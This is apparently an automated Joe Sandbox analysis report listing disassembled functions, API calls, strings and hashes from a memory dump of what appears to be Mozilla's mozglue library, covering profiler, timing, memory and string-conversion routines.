Part of subcall function 6C57EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C57EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C5BB392,?,?,00000001), ref: 6C5B91F4

Part of subcall function 6C5ACBE8: GetCurrentProcess.KERNEL32(?,6C5731A7), ref: 6C5ACBF1
Part of subcall function 6C5ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5731A7), ref: 6C5ACBFA

Strings

timeline-overview, xrefs: 6C5B907A
timeline-fileio, xrefs: 6C5B90A4
data, xrefs: 6C5B90E8
marker-chart, xrefs: 6C5B905E
timeline-ipc, xrefs: 6C5B9096
stack-chart, xrefs: 6C5B90B2
marker-table, xrefs: 6C5B906C
name, xrefs: 6C5B8F16
timeline-memory, xrefs: 6C5B9088

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 60d7d87f20a0011365e980323d951520e2f0025ba8c761113f1e1214a0796a5e
Instruction ID: 8c542062c20d87a350439db6c20b1ec8a83d696cbba54d476b311c186c87bebd
Opcode Fuzzy Hash: 60d7d87f20a0011365e980323d951520e2f0025ba8c761113f1e1214a0796a5e
Instruction Fuzzy Hash: 36B19FB1A012099BDB08CF95CCA2BEEBFB5EB88318F104419D515ABF90DB719D45CBE1

Function 6C59C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C59C5A3
WideCharToMultiByte.KERNEL32 ref: 6C59C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C59C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C59CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C59CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C59CAA5

Strings

0, xrefs: 6C59D30A
(null), xrefs: 6C59C596

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: c39ddc460c6a8eacb27036ceec434f47a6acca6240b5cdb52c2433e0860b10d8
Instruction ID: 9bb1c4a07500aec1caeef3fbbff1d9f8ede04f67bea9ef72a2c00f5a995723e3
Opcode Fuzzy Hash: c39ddc460c6a8eacb27036ceec434f47a6acca6240b5cdb52c2433e0860b10d8
Instruction Fuzzy Hash: A2A19C306083829FDB00DF28C98475ABBF5AF89748F0489ADE89AD7741D731E805CB96

Function 6C59C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C59C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C59C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C59C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C59C891

Strings

INF, xrefs: 6C59C794
inf, xrefs: 6C59C78F
nan, xrefs: 6C59C7A8
NAN, xrefs: 6C59C7AD

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: c2917768a752be475e53df0b5786d452950bc733e6316eb3f78a1d3729d789a7
Instruction ID: 58e0dbc23a73d72a603e262e924b378618b585478319597cc965a817269041a6
Opcode Fuzzy Hash: c2917768a752be475e53df0b5786d452950bc733e6316eb3f78a1d3729d789a7
Instruction Fuzzy Hash: 6E51A6705087808BDB04EF2CC98129AFBF0BF9A344F408A6DE9D5A7651E770E985CB43

Function 6C573480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C573284,?,?,6C5956F6), ref: 6C573492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C573284,?,?,6C5956F6), ref: 6C5734A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C573284,?,?,6C5956F6), ref: 6C5734EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C57350E
__Init_thread_footer.LIBCMT ref: 6C573522
__aulldiv.LIBCMT ref: 6C573552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C573284,?,?,6C5956F6), ref: 6C57357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C573284,?,?,6C5956F6), ref: 6C573592

Part of subcall function 6C5AAB89: EnterCriticalSection.KERNEL32(6C5FE370,?,?,?,6C5734DE,6C5FF6CC,?,?,?,?,?,?,?,6C573284), ref: 6C5AAB94
Part of subcall function 6C5AAB89: LeaveCriticalSection.KERNEL32(6C5FE370,?,6C5734DE,6C5FF6CC,?,?,?,?,?,?,?,6C573284,?,?,6C5956F6), ref: 6C5AABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C573508
kernel32.dll, xrefs: 6C5734EA

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 8a925da75f70fc0d93ce1cae89f57f58c3371c19d9011af1752121980ed6b9bd
Instruction ID: 071b759e6bef2a8261450159c8b6fe075bbe2a5047bc94f895e7a133a07bb8dd
Opcode Fuzzy Hash: 8a925da75f70fc0d93ce1cae89f57f58c3371c19d9011af1752121980ed6b9bd
Instruction Fuzzy Hash: 01310F70B00209DBCF18EFB9EC88AAE77B9FB45319F110119E521E3A50EB30A901CF64

Function 6C574480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C5B4843,?), ref: 6C5745F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C5B4843,?), ref: 6C57468A
free.MOZGLUE(?,?,?,?,?,?,6C5B4843,?), ref: 6C5746C9
free.MOZGLUE(?), ref: 6C5746EF
free.MOZGLUE(?), ref: 6C574712
free.MOZGLUE(?), ref: 6C574735
free.MOZGLUE(?), ref: 6C574758
free.MOZGLUE(?), ref: 6C57477B
free.MOZGLUE(?), ref: 6C57479E

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: f1222df49e02366951acfa5b487b563fdcf52fd65d7d06ae662b9cfe63e54a18
Instruction ID: 734bedc90639dc9222b9283bc271171d80205ccc5d675c04dab95faecff2c527
Opcode Fuzzy Hash: f1222df49e02366951acfa5b487b563fdcf52fd65d7d06ae662b9cfe63e54a18
Instruction Fuzzy Hash: 4EB1F671A00154CFDB28DF3CDC9476D77A6AF86328F184669E416DBB82E7359C808FA1

Function 6C5DAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C5DAC52
CreateFileMappingW.KERNEL32 ref: 6C5DAC7D
GetSystemInfo.KERNEL32 ref: 6C5DAC98
MapViewOfFile.KERNEL32 ref: 6C5DACB0
GetSystemInfo.KERNEL32 ref: 6C5DACCD
MapViewOfFile.KERNEL32 ref: 6C5DAD05
UnmapViewOfFile.KERNEL32 ref: 6C5DAD1C
CloseHandle.KERNEL32 ref: 6C5DAD28
UnmapViewOfFile.KERNEL32 ref: 6C5DAD37
CloseHandle.KERNEL32 ref: 6C5DAD43
CloseHandle.KERNEL32 ref: 6C5DAD67

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 2b35ec62b4d485e4c0ad6043f519f64406931cc1024e80ba3dc4830407a2b606
Instruction ID: 5b41d173e84ce3df1d5e34ac4627687259fe519d57739b4f40cfc3877b67f70d
Opcode Fuzzy Hash: 2b35ec62b4d485e4c0ad6043f519f64406931cc1024e80ba3dc4830407a2b606
Instruction Fuzzy Hash: 51313CB1A04704CFDB04BF7CDA4826EBBF1BF85305F024929E99597211EB709448CF86

Function 6C589620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C589675
__Init_thread_footer.LIBCMT ref: 6C589697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5896E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C589707
__Init_thread_footer.LIBCMT ref: 6C58971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C589773

Part of subcall function 6C5AAB89: EnterCriticalSection.KERNEL32(6C5FE370,?,?,?,6C5734DE,6C5FF6CC,?,?,?,?,?,?,?,6C573284), ref: 6C5AAB94
Part of subcall function 6C5AAB89: LeaveCriticalSection.KERNEL32(6C5FE370,?,6C5734DE,6C5FF6CC,?,?,?,?,?,?,?,6C573284,?,?,6C5956F6), ref: 6C5AABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5897B7
FreeLibrary.KERNEL32 ref: 6C5897D0
FreeLibrary.KERNEL32 ref: 6C5897EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C589824

Strings

MapViewOfFileNuma2, xrefs: 6C5897B1
NtMapViewOfSection, xrefs: 6C589701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C589670
ntdll.dll, xrefs: 6C5896E3

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: ede439718a4716f775128e3a3ddf782f5971d343bdff3648ec83002921977022
Instruction ID: 7a56be2e7c676f658d5a7bf39bbbcd0b8cb14e27e2763d436ada89645b812cbb
Opcode Fuzzy Hash: ede439718a4716f775128e3a3ddf782f5971d343bdff3648ec83002921977022
Instruction Fuzzy Hash: DD41A074702205DBDF08DFA5EC84A9AB7F4EB4A314F124229ED26D7B40D730A805CFA5

Function 6C5C0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C584A68), ref: 6C5B945E
Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B9470
Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B9482
Part of subcall function 6C5B9420: __Init_thread_footer.LIBCMT ref: 6C5B949F

GetCurrentThreadId.KERNEL32 ref: 6C5C0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5C0041
GetCurrentThreadId.KERNEL32 ref: 6C5C0075
AcquireSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5C0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C5C0090
free.MOZGLUE(?), ref: 6C5C0104
ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5C011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C5C005B

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 3c9f371c9db84f0c5c256c0301179ae09139aa96e63e1bc960175a9ae2ea7091
Instruction ID: 370963fdd8d4aeea38c6b9514e15f7a563f1838f624cf9d60ff3316dcbb0f7fd
Opcode Fuzzy Hash: 3c9f371c9db84f0c5c256c0301179ae09139aa96e63e1bc960175a9ae2ea7091
Instruction Fuzzy Hash: 35419AB5600244DFCB14DF65DC44A9ABBF0FF89318F41461EE9AA93B40D731A805CF96

Function 6C587E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C587EA7
malloc.MOZGLUE(00000001), ref: 6C587EB3

Part of subcall function 6C58CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C58CB49
Part of subcall function 6C58CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C58CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C587EC4
mozalloc_abort.MOZGLUE(?), ref: 6C587F19
malloc.MOZGLUE(?), ref: 6C587F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C587F4D

Strings

d, xrefs: 6C587F89

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: c34f4efe9284834e323f9890fd15186c242048d404184ddc289d2c7ce56e57d7
Instruction ID: 93f0914b17947e69aa39073284f5dd0a9742332d3df764f76252e2445c2fc578
Opcode Fuzzy Hash: c34f4efe9284834e323f9890fd15186c242048d404184ddc289d2c7ce56e57d7
Instruction Fuzzy Hash: D6312871E00358D7EF009B68DC405FEB778EFD9208F055229EC599B212FB30A988C394

Function 6C583E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C583CCC), ref: 6C583EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C583FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C583CCC), ref: 6C584006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5840A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C583CCC), ref: 6C5840AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C583CCC), ref: 6C5840C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C584134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C583CCC), ref: 6C584143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C583CCC), ref: 6C584157

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 5f275b655af739b7b84179ba4aa5b2b8b53b4f793242246ec64b81bc9b67f90d
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 97A180B1A01225CFDB40CF28C88075ABBB5FF48318F254599D909AF752D775E886CFA0

Function 6C572030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C593F47,?,?,?,6C593F47,6C591A70,?), ref: 6C57207F
memset.VCRUNTIME140(?,000000E5,6C593F47,?,6C593F47,6C591A70,?), ref: 6C5720DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C593F47,6C591A70,?), ref: 6C57211A
EnterCriticalSection.KERNEL32(6C5FE744,?,6C593F47,6C591A70,?), ref: 6C572145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C593F47,6C591A70,?), ref: 6C5721BA
EnterCriticalSection.KERNEL32(6C5FE744,?,6C593F47,6C591A70,?), ref: 6C5721E0
LeaveCriticalSection.KERNEL32(6C5FE744,?,6C593F47,6C591A70,?), ref: 6C572232

Strings

MOZ_CRASH(), xrefs: 6C57227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C572253, 6C572268

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 8ee64c03f8b18db7685bec8976ccf1d62b39a33c2f01c37ad87e90604e128a5a
Instruction ID: c54011ce598aa5fa2c8209ff9d56d6f549648324ae43c676e6d2072358020268
Opcode Fuzzy Hash: 8ee64c03f8b18db7685bec8976ccf1d62b39a33c2f01c37ad87e90604e128a5a
Instruction Fuzzy Hash: BF61C531F01216CFCB28CA69CC89B6E76B1BF85314F294639E924A7B94D7709D41CBA1

Function 6C5C9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5C8273), ref: 6C5C9D65
free.MOZGLUE(6C5C8273,?), ref: 6C5C9D7C
free.MOZGLUE(?,?), ref: 6C5C9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5C9E0F
free.MOZGLUE(6C5C946B,?,?), ref: 6C5C9E24
free.MOZGLUE(?,?,?), ref: 6C5C9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5C9EC8
free.MOZGLUE(6C5C946B,?,?,?), ref: 6C5C9EDF
free.MOZGLUE(?,?,?,?), ref: 6C5C9EF5

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 471359e6a0c4ea3f24aa744ac62ee1b12c35e4bb2dab2e13b0dc607cb7a4cbcf
Instruction ID: 584c80498bf168b1090f78e203bf700beff888d89ac4d1064802b5538ee0f8ae
Opcode Fuzzy Hash: 471359e6a0c4ea3f24aa744ac62ee1b12c35e4bb2dab2e13b0dc607cb7a4cbcf
Instruction Fuzzy Hash: 0D717EB0A09B41CBD712CF58C84055AF3F4FF99319B44969DE85A5B701EB31EC85CB82

Function 6C5CDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C5CDDCF

Part of subcall function 6C5AFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5AFA4B

Part of subcall function 6C5C90E0: free.MOZGLUE(?,00000000,?,?,6C5CDEDB), ref: 6C5C90FF
Part of subcall function 6C5C90E0: free.MOZGLUE(?,00000000,?,?,6C5CDEDB), ref: 6C5C9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5CDE0D
free.MOZGLUE(00000000), ref: 6C5CDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5CDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5CDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5CDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C5BDEFD,?,6C584A68), ref: 6C5CDF32

Part of subcall function 6C5CDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5CDB86
Part of subcall function 6C5CDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5CDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C5BDEFD,?,6C584A68), ref: 6C5CDF65
free.MOZGLUE(?), ref: 6C5CDF80

Part of subcall function 6C595E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C595EDB
Part of subcall function 6C595E90: memset.VCRUNTIME140(ew]l,000000E5,?), ref: 6C595F27
Part of subcall function 6C595E90: LeaveCriticalSection.KERNEL32(?), ref: 6C595FB2

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: e734c87ad23c3c45d1293f0a56ddf675eff33ddee997c9135f32f42a904e2c63
Instruction ID: 7c4d57df01771b7664f91e69cd727cf6b916ec269650f8e80135bb62d711c488
Opcode Fuzzy Hash: e734c87ad23c3c45d1293f0a56ddf675eff33ddee997c9135f32f42a904e2c63
Instruction Fuzzy Hash: 4151A4727416019BD7219AA8DC806AEB3B6BF91308F96052CD95AD3B00D731FD1ACB93

Function 6C5D5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C5D5C8C,?,6C5AE829), ref: 6C5D5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C5D5C8C,?,6C5AE829), ref: 6C5D5D62
